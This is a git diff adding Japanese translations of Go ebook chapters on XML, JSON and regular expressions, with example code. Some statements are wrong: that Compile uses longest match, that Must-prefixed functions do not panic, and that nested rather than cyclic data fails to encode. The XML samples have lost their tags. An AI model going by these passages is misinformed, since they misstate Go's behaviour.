+XMLは現在多くの標準インターフェースの対話型言語となっています。多くの場合Javaで書かれたwebserverとのやりとりはどれもXML標準にもとづいて行われます。7.1節ではどのようにXMLテキストを処理するかご紹介します。XMLを使用した後あまりに複雑だと気づきます。現在多くのインターネット企業の対外的なAPIでは多くがJSON形式を採用しています。この形式は描写が簡単ですが、意味をよく表現することができます。7.2節ではどのようにこういったJSON形式のデータを処理するかご説明します。正規表現は人に愛され、また恨まれる道具です。このテキスト処理能力は非常に協力です。我々は前のフォームの検証でその強力さをすでに味わっています。7.3節ではどのようにGoの正規表現を利用するのがよいかより詳しく解説していきます。Web開発において非常に重要な部分としてMVCの分離があります。Go言語ではWeb開発中Vにおいて`template`という専門的にサポートするパッケージがあります。7.4節ではテンプレートをつかってコンテンツをどのように出力するのか詳細に解説していきます。7.5節ではどのようにしてファイルとディレクトリを操作するのか詳しくご紹介します。7.6節の概要では文字列に関する操作についてご紹介します。 + +## 目次 + ![](images/navi7.png?raw=true) + +## links + * [目次]() + * 前へ: [第六章概要](<06.5.md>) + * 次へ: [XMLの処理](<07.1.md>) diff --git a/ja/ebook/07.1.md b/ja/ebook/07.1.md new file mode 100644 index 00000000..44c3d060 --- /dev/null +++ b/ja/ebook/07.1.md @@ -0,0 +1,221 @@ +# 7.1 XMLの処理 +XMLはデータと情報のやりとりするための形式として十分普及しています。Webサービスが日々広範囲で応用されてくるにつれ、現在XMLは日常的な開発作業において重要な役割を演じてきました。この節ではGo言語の標準パッケージにあるXML関連のパッケージをご紹介します。 + +この節ではXMLの規約に関する内容には触れず(もし関連した知識が必要であれば他の文献をあたってください)、どのようにGo言語でXMLファイルをエンコード/デコードするかといった知識についてご紹介します。 + +あなたが作業員だとして、あなたが管理するすべてのサーバに以下のような内容のxmlの設定ファイルを作成するとします: + + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + + +上のXMLドキュメントは2つのサーバの情報を記述しています。サーバ名とサーバのIP情報を含んでいます。以降のGoの例ではこのXML記述に対して操作を行なっていきます。 + +## XMLの解析 +どのようにして上のXMLファイルを解析するのでしょうか?xmlパッケージの`Unmarshal`関数を使って目的を達成することができます。 + + func Unmarshal(data []byte, v interface{}) error + +dataはXMLのデータストリームを受け取ります。vは出力先となる構造体です。定義はinterfaceで、XMLを任意の形式に変換することができます。ここでは主にstructの変換をご紹介します。なぜなら、structとXMLはどちらも似たようなツリー構造の特徴を持っているからです。 + +コード例は以下の通り: + + package main + + import ( + "encoding/xml" + "fmt" + "io/ioutil" + "os" + ) + + type Recurlyservers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` + Description string `xml:",innerxml"` + } + + type server struct { + XMLName xml.Name `xml:"server"` + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` + } + + func main() { + file, err := os.Open("servers.xml") // For read access. + if err != nil { + fmt.Printf("error: %v", err) + return + } + defer file.Close() + data, err := ioutil.ReadAll(file) + if err != nil { + fmt.Printf("error: %v", err) + return + } + v := Recurlyservers{} + err = xml.Unmarshal(data, &v) + if err != nil { + fmt.Printf("error: %v", err) + return + } + + fmt.Println(v) + } + + +XMLは本来ツリー構造のデータ形式なので、対応するgo言語のstruct型を定義することができます。xml.Unmarshalを使ってxmlの中にあるデータを解析し、対応するstructオブジェクトにします。上の例では以下のようなデータを出力します。 + + {{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}] + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + } + + +上の例では、xmlファイルを解析して対応するstructオブジェクトにするには`xml.Unmarshal`によって行われました。この過程はどのように実現されているのでしょうか?我々のstruct定義の後の方を見てみると`xml:"serverName"のような内容があることがわかります。これはstructの特徴の一つです。struct tagと呼ばれています。これはリフレクションを補助するために用いられます。`Unmarshal`の定義を見てみましょう: + + func Unmarshal(data []byte, v interface{}) error + +関数には2つの引数があることがわかります。はじめの引数はXMLデータストリームです。ふたつめは保存される対応した型です。現在struct、sliceおよびstringをサポートしています。XMLパッケージの内部ではリフレクションを採用してデータのリフレクションを行なっています。そのため、vの中のフィールドは必ずエクスポートされなければなりません。`Unmarshal`が解析する際XML要素とフィールドはどのように対応づけられるのでしょうか?これは優先度のあるロードプロセスです。まずstruct tagを読み込み、もしなければ、対応するフィールド名となります。注意しなければならないのは、tag、フィールド名、XML要素を解析する際大文字と小文字を区別するということです。そのため、フィールドは逐一対応していなければなりません。 + +Go言語のリフレクションメカニズムはこれらのtag情報を使って将来XMLファイルにあるデータをstructオブジェクトに反映させることができます。リフレクションがどのようにstruct tagを利用するかについてのより詳しい内容yはreflectの中の対応するコンテンツをご参照ください。 + +XMLをstructに解析する際は以下のルールに従います:  + +- もしstructのフィールドがstringまたは[]byte型であり、tagに`",innerxml"`を含む場合は、Unmarshalはこのフィールドが対応する要素の中に含まれるすべてのオリジナルのxmlをこのフィールドに上乗せします。上の例のDescription定義のように、最後の出力は以下のようになります: + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + +- もしstructにXMLNameがあり、かつ型がxml.Nameフィールドであれば、解析する際このelementの名前をこのフィールドに保存します。上の例ではserversにあたります。 +- もしあるstructフィールドのtagの定義においてXML構造のelementの名前が含まれている場合、解析する際対応するelement値をこのフィールドに代入します。上の例ではservernameとserverip定義にあたります。 +- もしあるstructフィールドのtag定義の中に`",attr"`とあれば、解析の際にこの構造に対応するelementとフィールド名のプロパティの値をこのフィールドに代入します。上の例のversion定義にあたります。 +- もしあるstructフィールドのtag定義の型が`"a>b>c"`のようであれば、解析の際にxml構造のaの下のbの下のc要素の値をこのフィールドに代入します。 +- もしあるstructフィールドのtagが`"-"`を定義していると、このフィールドに対してはいかなるマッチしたxmlデータも解析しません。 +- もしstructフィールドの後のtagに`",any"`が定義されていると、もしこの子要素が他のルールを満足していない場合にこのフィールドにマッチします。 +- もしあるXML要素がひとつまたは複数のコメントを含んでいる場合、これらのコメントはひとつめのtagに含まれる"comments"のフィールドに上乗せされます。このフィールドの型は[]byteやstringである可能性があります。もしこのようなフィールドが存在しなければ、コメントは破棄されます。 + +上でどのようにstructのtagを定義するか詳細に述べました。tagが正しく設定されていさえすれば、XML解析は上の例のように簡単になります。tagとXMLのelementは一つ一つ対応しています。上で示したとおり、sliceによって複数の同じレベルの要素を表現することもできます。 + +>注意:正しく解析するために、go言語のxmlパッケージはstructの定義の中ですべてのフィールドがエクスポート可能である必要があります。(つまり、頭文字が大文字であるということです。) + +## XMLの出力 +もし我々が上で示したようなXMLファイルを解析したいのではなく、生成したいとしたら、go言語ではどのように実現すべきでしょうか?xmlパッケージで提供される`Marshal`と`MarshalIndent`という2つの関数で我々の需要を満たすことができます。この2つの関数の主な違いは2つ目の関数はプレフィックスを増加したり短縮したりする可能性があるということです。関数の定義は下の通り: + + func Marshal(v interface{}) ([]byte, error) + func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error) + +2つの関数のはじめの引数はXMLの構造体が定義する型のデータを生成するために用いられます。どちらも生成したXMLデータストリームを返します。 + +ここでは上のXMLをどのように出力するのか見てみましょう: + + package main + + import ( + "encoding/xml" + "fmt" + "os" + ) + + type Servers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` + } + + type server struct { + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` + } + + func main() { + v := &Servers{Version: "1"} + v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"}) + v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"}) + output, err := xml.MarshalIndent(v, " ", " ") + if err != nil { + fmt.Printf("error: %v\n", err) + } + os.Stdout.Write([]byte(xml.Header)) + + os.Stdout.Write(output) + } +上のコードは以下のような情報を出力します: + + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + + +我々が以前定義したファイルの形式とまったく同じです。`os.Stdout.Write([]byte(xml.Header))`というコードが出現したのは、`xml.MarshalIndent`または`xml.Marshal`が出力する情報がどちらもXMLヘッダを持たないためです。正しいxmlファイルを生成するために、xmlパッケージであらかじめ定義されているHeader変数を使用しました。 + +`Marshal`関数が受け取る引数vはinterface{}型です。つまり任意の型の引数を受け取れることを示しています。ではxmlパッケージはどのようなルールにしたがって対応するXMLファイルを生成しているのでしょうか? + +- もしvがarrayまたはsliceであれば、各要素を出力します。valueのようなものです。 +- もしvがポインタであれば、Marshalポインタが指し示す内容となります。もしポインタが空であれば、何も出力しません。 +- もしvがinterfaceであれば、interfaceが含むデータを処理します。 +- もしvがその他のデータ型であれば、このデータ型がもつフィールド情報を出力します。 + +また、生成されるXMLファイルの中のelementの名前はどのように決定するのでしょうか?要素名は下の優先度に従ってstructの中より取得されます: + +- もしvがstructであれば、XMLNameのtagで定義されている名前となります。 +- 型がxml.Nameの名前であれば、XMLNameのフィールドの値が呼ばれます。 +- structのフィールドのtagを通して取得されます。 +- structのフィールド名を通して取得されます。 +- marshallの型名になります。 + +どのようにしてstructの中のフィールドのtag情報を設定し、最終的なxmlファイルの生成をコントロールするのでしょうか? + +- XMLNameは出力されません +- tagに含まれる`"-"`のフィールドは出力されません +- tagに含まれる`"name,attr"`では、nameをプロパティ名、フィールド値を値としてこのXML要素を出力します。 +- tagに含まれる`",attr"`では、このstructのフィールド名をプロパティ名としてXML要素の属性を出力します。上と同じようにこのnameのデフォルト値がフィールド名となるだけです。 +- tagに含まれる`",chardata"`では、xmlのcharacter dataが出力されます。elementではありません。 +- tagに含まれる`",innerxml"`では、元の通り出力されます。一般的なエンコーディングプロセスは行われません。 +- tagに含まれる`",comment"`では、xmlコメントとして出力されます。一般的なエンコーディングプロセスは行われません。フィールドの値には"--"という文字列を含めることができません。 +- tagに含まれる`"omitempty"`では、もしこのフィールドの値が空であればこのフィールドはXMLに出力されません。空の値には以下が含まれます: false、0、nilポインタまたはnilインターフェースまたは長さが0のarray、slice、map、string。 +- tagに含まれる`"a>b>c"`では、3つの要素aが含むb、bが含むcが順番に出力されます。例えば以下のコードではこうなります: + + FirstName string `xml:"name>first"` + LastName string `xml:"name>last"` + + + Asta + Xie + + + +ここではどのようにGo言語のxmlパッケージを使ってXMLファイルをエンコード/デコードするかご紹介しました。大切なのはXMLのすべての操作はすべてstruct tagによって実現されているという点です。より詳しい内容またはtagの定義については対応するオフィシャルドキュメントをご参照ください。 + +## links + * [目次]() + * 前へ: [テキスト処理](<07.0.md>) + * 次へ: [Jsonの処理](<07.2.md>) diff --git a/ja/ebook/07.2.md b/ja/ebook/07.2.md new file mode 100644 index 00000000..246b89b8 --- /dev/null +++ b/ja/ebook/07.2.md @@ -0,0 +1,224 @@ +# 7.2 JSONの処理 +JSON(Javascript Object Notation)は軽量なデータ記述言語です。文字を基礎とした言語のテキスト形式で、C言語ファミリーに似た習慣を採用しています。JSONとXMLの最も大きな違いはXMLが完全なマークアップ言語であるのに対し、JSONがそうでない点です。JSONはXMLに比べ小さく、早く簡単に解析でき、ブラウザのビルトインの素早い解析のサポートもあり、ネットワークのデータ転送分野により適しています。現在我々が見ることのできる多くのオープンプラットフォームでは基本的にJSONをデータ交換のインターフェースとして採用しています。JSONはWeb開発の中でもこのように重要でありますから、Go言語ではJSONのサポートはどうなっているのでしょうか?Go言語の標準ライブラリはすでに非常に良くJSONをサポートしています。JSONデータに対してとても簡単にエンコード/デコードといった作業を行うことができます。 + +前の節の操作の例でJSONを使って表示しました。結果は以下の通りです: + + {"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]} + +この節の残りの内容はこのJSONデータをもとに、go言語のjsonパッケージによるJSONデータのエンコード/デコードをご紹介します。 +## JSONの解析 + +### 構造体に解析する +上のようなJSON文字列があると仮定します。ではどのようにこのJSON文字列を解析するのでしょうか?GoのJSONパッケージには以下のような関数があります + + func Unmarshal(data []byte, v interface{}) error + +この関数を使って解析の目的を実現することができます。詳細な解析の例は以下のコードをご覧ください: + + package main + + import ( + "encoding/json" + "fmt" + ) + + type Server struct { + ServerName string + ServerIP string + } + + type Serverslice struct { + Servers []Server + } + + func main() { + var s Serverslice + str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}` + json.Unmarshal([]byte(str), &s) + fmt.Println(s) + } + +上のコード例の中では、まずjsonデータに対応する構造体を定義します。配列はsliceに、フィールド名はJSONの中のKEYに相当します。解析の際どのようにjsonデータとstructフィールドをマッチさせるのでしょうか?例えばJSONのkeyが`Foo`であった場合、どのようにして対応するフィールドを探すのでしょうか? + +- まずtagに含まれる`Foo`のエクスポート可能なstructフィールド(頭文字が大文字)を探し出します。 +- 次にフィールド名が`Foo`のエクスポートフィールドを探し出します。 +- 最後に`FOO`または`FoO`のような頭文字を除いたその他の大文字小文字を区別しないエクスポートフィールドを探し出します。 + +聡明なあなたであればお気づきかもしれません:代入されうるフィールドはエクスポート可能なフィールドである必要があります。(すなわち、頭文字が大文字であるということです。)同時にJSONを解析する際探しだせるフィールドを解析するのみで、探せないフィールドについては無視されます。これのメリットは:とても大きなJSONデータ構造を受け取ってしまいその中のいち部分のデータだけを取得したいような場合です。あなたは必要なデータに対応するフィールド名の大文字だけで簡単にこの問題を解決することができます。 + +### interfaceに解析する +上のような解析方法は解析されるJSONデータの構造を事前に知っている場合に採用されるソリューションです。もし解析されるデータの形式が事前に分からなかった場合はどのように解析すればよいでしょうか? + +我々はinterface{}に任意のデータ型のオブジェクトを保存できることを知っています。このようなデータ構造は未知の構造のjsonデータの解析結果を保存するのにぴったりです。JSONパッケージではmap[string]interface{}と[]interface{}構造を採用して任意のJSONオブジェクトと配列を保存します。Goの型とJSONの型の対応関係は以下の通りです: + +- bool は JSON booleans を表します, +- float64 は JSON numbers を表します, +- string は JSON string を表します, +- nil は JSON null を表します, + +現在以下のようなJSONデータがあるものと仮定します + + b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`) + +この構造を知らない段階では、これをinterface{}の中に解析します。 + + var f interface{} + err := json.Unmarshal(b, &f) + +この時fの中にはmap型が保存されます。これらのkeyはstringで、値は空のinterface{]の中に保存されます。 + + f = map[string]interface{}{ + "Name": "Wednesday", + "Age": 6, + "Parents": []interface{}{ + "Gomez", + "Morticia", + }, + } + +ではどのようにしてこれらのデータにアクセスするのでしょうか?アサーションによる方法です: + + m := f.(map[string]interface{}) + +アサーションを通して以下のような方法で中のデータにアクセスすることができます。 + + for k, v := range m { + switch vv := v.(type) { + case string: + fmt.Println(k, "is string", vv) + case int: + fmt.Println(k, "is int", vv) + case float64: + fmt.Println(k,"is float64",vv) + case []interface{}: + fmt.Println(k, "is an array:") + for i, u := range vv { + fmt.Println(i, u) + } + default: + fmt.Println(k, "is of a type I don't know how to handle") + } + } +上の例では、interface{}とtype assertの組み合わせによって未知の構造のJSONデータを解析することができました。 + +これはオフィシャルが提供するソリューションです。実は多くの場合、型のアサーションは操作からしてあまり便利ではありません。現在bitly社では`simplejson`と呼ばれるパッケージがオープンに開発されています。未知の構造体のJSONを処理する場合にとても便利です。詳細な例は以下の通り: + + js, err := NewJson([]byte(`{ + "test": { + "array": [1, "2", 3], + "int": 10, + "float": 5.150, + "bignum": 9223372036854775807, + "string": "simplejson", + "bool": true + } + }`)) + + arr, _ := js.Get("test").Get("array").Array() + i, _ := js.Get("test").Get("int").Int() + ms := js.Get("test").Get("string").MustString() + +このようにこのライブラリを使用してJSONを操作するのはオフィシャルパッケージに比べてとても簡単です。詳細は以下のアドレスをご参照ください:https://github.com/bitly/go-simplejson + +## JSONを生成する +多くのアプリケーションを開発する際、最後はJSONデータ文字列を出力する必要があります。ではどのようにして処理するのでしょうか?JSONパッケージでは`Marshal`関数を通して処理します。関数の定義は以下の通り: + + func Marshal(v interface{}) ([]byte, error) + +上のサーバのリスト情報を出力する必要があるものと仮定します。どのように処理すべきでしょうか?下の例をご覧ください: + + package main + + import ( + "encoding/json" + "fmt" + ) + + type Server struct { + ServerName string + ServerIP string + } + + type Serverslice struct { + Servers []Server + } + + func main() { + var s Serverslice + s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"}) + s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"}) + b, err := json.Marshal(s) + if err != nil { + fmt.Println("json err:", err) + } + fmt.Println(string(b)) + } + +下のような内容が出力されます: + + {"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]} + +上で出力されたフィールド名の頭文字はどれも大文字です。もし頭文字に小文字を使いたい場合はどうすればよいでしょうか?構造体のフィールド名の頭文字を小文字にすべきでしょうか?JSONで出力する際に注意が必要なのは、エクスポートされたフィールドのみが出力されるということです。もしフィールド名を修正してしまうと、何も出力されなくなってしまいます。ですので必ずstruct tagによって定義した上で実装する必要があります: + + type Server struct { + ServerName string `json:"serverName"` + ServerIP string `json:"serverIP"` + } + + type Serverslice struct { + Servers []Server `json:"servers"` + } + +上の構造体の定義を修正することで、出力されるJSON文字列と我々が最初に定義したJSON文字列は一致します。 + +JSONの出力に対して、struct tagを定義する場合注意すべきいくつかのことは: + +- フィールドのtagが`"-"`であった場合、このフィールドはJSONに出力されません。 +- tagにカスタム定義の名前が含まれる場合、このカスタム定義された名前はJSONのフィールド名に出現します。例えば上の例のserverNameに当たります。 +- tagに`"omitempty"`オプションが含まれる場合、このフィールドの値が空であればJSON文字列の中には出力されません。 +- もしフィールドの型がbool, string, int, int65等で、tagに`",string"`オプションが含まれる場合、このフィールドがJSONに出力される際はこのフィールドに対応した値が変換されてJSON文字列となります。 + + +例をあげてご説明しましょう: + + type Server struct { + // ID はJSONの中にエクスポートされません。 + ID int `json:"-"` + + // ServerName の値は二次JSONエンコーディングが行われます。 + ServerName string `json:"serverName"` + ServerName2 string `json:"serverName2,string"` + + // もし ServerIP が空であれば、JSON文字列の中には出力されません。 + ServerIP string `json:"serverIP,omitempty"` + } + + s := Server { + ID: 3, + ServerName: `Go "1.0" `, + ServerName2: `Go "1.0" `, + ServerIP: ``, + } + b, _ := json.Marshal(s) + os.Stdout.Write(b) + +以下のような内容が出力されます: + + {"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""} + + +Marshal関数は変換に成功した時のみデータを返します。変換の過程で注意しなければならないのは: + + +- JSONオブジェクトはstringのみをkeyとしてサポートします。そのためmapをエンコードしたい場合は必ずmap[string]Tのような型となります。(TはGo言語の中の任意の型です。) +- Channel, complexとfunctionはJSONにはエンコードされません。 +- ネストしたデータはエンコードされません。さもないとJSONのエンコードは永久ループに入ってしまいます。 +- ポインタがエンコードされる際はポインタが指定している内容が出力されます。空のポインタはnullを出力します。 + + +この節ではどのようにGo言語のjson標準パッケージを使ってJSONデータをエンコードするかご紹介しました。同時にどのようにサードパーティパッケージである`go-simplejson`を使っていくつかの状況で簡単な操作をご紹介しました。これらを学び運用に慣れることは以降にご紹介するWeb開発においてとても重要になります。 + +## links + * [目次]() + * 前へ: [XMLの処理](<07.1.md>) + * 次へ: [正規表現の処理](<07.3.md>) diff --git a/ja/ebook/07.3.md b/ja/ebook/07.3.md new file mode 100644 index 00000000..b5a33e61 --- /dev/null +++ b/ja/ebook/07.3.md @@ -0,0 +1,237 @@ +# 7.3 正規表現の処理 +正規表現はパターンマッチとテキスト操作の複雑で強力なツールです。正規表現は純粋なテキストマッチングに比べ効率は劣りますが、より柔軟性に富みます。この文法規則に従い作り出されるパターンはオリジナルのテキストからあなたが必要とするほとんどすべての文字列の組み合わせをフィルターすることができます。もしWeb開発の中でなにかしらのテキストデータソースからデータを取り出す必要があれば、この文法規則にしたがって正確なパターン文字列を作ることで意味のあるテキスト情報をデータソースから取り出すことができます。 + +Go言語は`regexp`標準パッケージを使うことでオフィシャルに正規表現をサポートしています。もしあなたが他のプログラミング言語において提供されている正規表現と同等の機能を使ったことがあるのであれば、Go言語バージョンでもそれほど門外漢というわけではないはずです。しかしこれらの間でも少しばかりの違いがあります。なぜならGoが実装しているのはRE2スタンダードで、\Cを除いて詳細な文法の説明は以下をご参照ください:`http://code.google.com/p/re2/wiki/Syntax` + +文字列処理はそもそも`strings`パッケージを使うことで検索(Contains、Index)、置換(Replace)と懐石(Split、Join)といった操作を行うことができました。しかしこれらはどれも簡単な文字列操作にすぎません。これらの検索はどれも大文字と小文字を区別しますし、固定された文字列です。もし可変のこういったマッチングを行う必要があれば、実現する方法がありません。当然もし`strings`パッケージがあなたの問題を解決できるのであれば、できるかぎりこれを使って解決すべきです。なぜならこれらは簡単で、性能と可読性も正規表現に比べてよいからです。 + +前のフォームの検証の節ですでに正規表現に触れたことを覚えていらっしゃるかもしれません。その時はこれを使って入力された情報が何らかの予め設定された条件を満足しているか検証するのに使いました。使用に際して注意すべきことは:いかなる文字列もすべてUTF-8でエンコードされているということです。以降ではより深くGo言語の`regexp`パッケージに関連する知識を学んでいきましょう。 + +## 正規表現を使ってマッチングするか判断する +`regexp`パッケージでは3つの関数を使ってマッチングを判断します。もしマッチングすればtrueを返し、さもなければfalseを返します。 + + func Match(pattern string, b []byte) (matched bool, error error) + func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) + func MatchString(pattern string, s string) (matched bool, error error) + +上の3つの関数は同じ機能を実現しています。つまり、`pattern`が入力ソースにマッチするかを判断しています。マッチングしたらtrueを返し、もし正規表現の解析でエラーが出たらerrorを返します。3つの関数の入力ソースはそれぞれbyte slice、RuneReaderとstringです。 + +入力がIPアドレスであるかどうか検証したい場合は、どのように判断すべきでしょうか?以下をご覧ください + + func IsIP(ip string) (b bool) { + if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m { + return false + } + return true + } + +ご覧のとおり、`regexp`のpatternと我々が通常使用している正規表現は全く一緒です。もう一つ例を見てみましょう:ユーザが文字列を入力し、この入力が正しいかどうか知りたいものとします: + + func main() { + if len(os.Args) == 1 { + fmt.Println("Usage: regexp [string]") + os.Exit(1) + } else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m { + fmt.Println("数字です。") + } else { + fmt.Println("数字ではありません。") + } + } + +上の2つの例では、Match(Reader|String)を使って文字列が我々の要求に合致しているか判断しています。これらは非常に便利です。 + +## 正規表現を使って内容を取得する +Matchパターンは文字列の判断に対してのみ使うことができ、文字列の一部分を切り取ったり、文字列にフィルターをかけたり、合致する条件の文字列を取り出したりすることはできません。これらの需要を満足したければ、正規表現の複雑なパターンを使用する必要があります。 + +我々はよく一種のスクレイピングプログラムが必要となります。下ではスクレイピングを例にどのように正規表現を使って取得したデータに対しフィルタリングまたは切り取りを行うかご説明します: + + package main + + import ( + "fmt" + "io/ioutil" + "net/http" + "regexp" + "strings" + ) + + func main() { + resp, err := http.Get("http://www.baidu.com") + if err != nil { + fmt.Println("http get error.") + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + fmt.Println("http read error") + return + } + + src := string(body) + + //将HTML标签全转换成小写 + re, _ := regexp.Compile("\\<[\\S\\s]+?\\>") + src = re.ReplaceAllStringFunc(src, strings.ToLower) + + //去除STYLE + re, _ = regexp.Compile("\\") + src = re.ReplaceAllString(src, "") + + //去除SCRIPT + re, _ = regexp.Compile("\\") + src = re.ReplaceAllString(src, "") + + //去除所有尖括号内的HTML代码,并换成换行符 + re, _ = regexp.Compile("\\<[\\S\\s]+?\\>") + src = re.ReplaceAllString(src, "\n") + + //去除连续的换行符 + re, _ = regexp.Compile("\\s{2,}") + src = re.ReplaceAllString(src, "\n") + + fmt.Println(strings.TrimSpace(src)) + } + +この例からわかるように、複雑な正規表現を使用する場合はまずCompileを行います。これは正規表現が正しいかどうかを解析し、もし正しければRegexpを返します。返されたRegexpは任意の文字列で必要な操作を実行することができるようになります。 + +正規表現の解析は以下のいくつかの方法があります: + + func Compile(expr string) (*Regexp, error) + func CompilePOSIX(expr string) (*Regexp, error) + func MustCompile(str string) *Regexp + func MustCompilePOSIX(str string) *Regexp + +CompilePOSIXとCompileの違いはPOSIXにはかならずPOSIX文法を使う必要があるということです。これは最長一致方式を使って検索を行い、Compileではただ最長一致方式が採用されます。(例えば[a-z]{2,4}のような正規表現を"aa09aaa88aaaa"というようなテキストに適用する際、CompilePOSIXはaaaaを返します。またCompileが返す正規表現はaaとなります)、前にMustとつく関数は正規表現の文法を解析する際もしパターンが正確な文法でなければ直接panicとならず、Mustのつかないものはただエラーを返します。 + +どのようにRegexpを作成するか理解したところで、このstructがどのような方法によって我々の文字列操作を提供しているのかもう一度見てみることにしましょう。まず下の検索を行うための関数を見てみます: + + func (re *Regexp) Find(b []byte) []byte + func (re *Regexp) FindAll(b []byte, n int) [][]byte + func (re *Regexp) FindAllIndex(b []byte, n int) [][]int + func (re *Regexp) FindAllString(s string, n int) []string + func (re *Regexp) FindAllStringIndex(s string, n int) [][]int + func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string + func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int + func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte + func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int + func (re *Regexp) FindIndex(b []byte) (loc []int) + func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int) + func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int + func (re *Regexp) FindString(s string) string + func (re *Regexp) FindStringIndex(s string) (loc []int) + func (re *Regexp) FindStringSubmatch(s string) []string + func (re *Regexp) FindStringSubmatchIndex(s string) []int + func (re *Regexp) FindSubmatch(b []byte) [][]byte + func (re *Regexp) FindSubmatchIndex(b []byte) []int + +上の18個の関数は入力ソース(byte slice、stringおよびio.RuneReader)の違いに従って下のいくつかのように簡素化することができます。その他はただ入力ソースが異なるだけで、そのほかの機能は基本的に同じです: + + func (re *Regexp) Find(b []byte) []byte + func (re *Regexp) FindAll(b []byte, n int) [][]byte + func (re *Regexp) FindAllIndex(b []byte, n int) [][]int + func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte + func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int + func (re *Regexp) FindIndex(b []byte) (loc []int) + func (re *Regexp) FindSubmatch(b []byte) [][]byte + func (re *Regexp) FindSubmatchIndex(b []byte) []int + +これらの関数の使用に対して以下の例を見てみましょう + + package main + + import ( + "fmt" + "regexp" + ) + + func main() { + a := "I am learning Go language" + + re, _ := regexp.Compile("[a-z]{2,4}") + + //正規表現にマッチする最初のものを探し出す + one := re.Find([]byte(a)) + fmt.Println("Find:", string(one)) + + //正規表現にマッチするすべてのsliceを探し出す。nが0よりも小さかった場合はすべてのマッチする文字列を返します。さもなければ指定した長さが返ります。 + all := re.FindAll([]byte(a), -1) + fmt.Println("FindAll", all) + + //条件にマッチするindexの位置を探し出す。開始位置と終了位置。 + index := re.FindIndex([]byte(a)) + fmt.Println("FindIndex", index) + + //条件にマッチするすべてのindexの位置を探し出す、nは同上 + allindex := re.FindAllIndex([]byte(a), -1) + fmt.Println("FindAllIndex", allindex) + + re2, _ := regexp.Compile("am(.*)lang(.*)") + + //Submatchを探し出し、配列を返します。はじめの要素はマッチしたすべての要素です。2つ目の要素ははじめの()の中で、3つ目は2つ目の()の中です。 + //以下の出力でははじめの要素は"am learning Go language"です。 + //2つ目の要素は" learning Go "です。空白を含んで出力することに注意してください。 + //3つ目の要素は"uage"です。 + submatch := re2.FindSubmatch([]byte(a)) + fmt.Println("FindSubmatch", submatch) + for _, v := range submatch { + fmt.Println(string(v)) + } + + //定義と上のFindIndexは同じです。 + submatchindex := re2.FindSubmatchIndex([]byte(a)) + fmt.Println(submatchindex) + + //FindAllSubmatchは条件にマッチするすべてのサブマッチを探し出します。 + submatchall := re2.FindAllSubmatch([]byte(a), -1) + fmt.Println(submatchall) + + //FindAllSubmatchIndexはすべてのサブマッチのindexを探し出します。 + submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1) + fmt.Println(submatchallindex) + } + +ここまででマッチ関数をご紹介しました。Regexpも3つの関数を定義しています。これらは同盟の外部関数と機能はまったく一緒です。じつは、外部関数はこのRegexpの3つの関数をコールすることで実現しています。 + + func (re *Regexp) Match(b []byte) bool + func (re *Regexp) MatchReader(r io.RuneReader) bool + func (re *Regexp) MatchString(s string) bool + +次に置換関数はどのように操作するか理解していきましょう。 + + func (re *Regexp) ReplaceAll(src, repl []byte) []byte + func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte + func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte + func (re *Regexp) ReplaceAllLiteralString(src, repl string) string + func (re *Regexp) ReplaceAllString(src, repl string) string + func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string + +これらの置換関数は上のスクレイピングの例に詳細な応用例があります。 + +次にExpandの解説を見てみましょう: + + func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte + func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte + +Expandは一体何に使われるのでしょうか?下の例をご覧ください: + + func main() { + src := []byte(` + call hello alice + hello bob + call hello eve + `) + pat := regexp.MustCompile(`(?m)(call)\s+(?P\w+)\s+(?P.+)\s*$`) + res := []byte{} + for _, s := range pat.FindAllSubmatchIndex(src, -1) { + res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s) + } + fmt.Println(string(res)) + } + 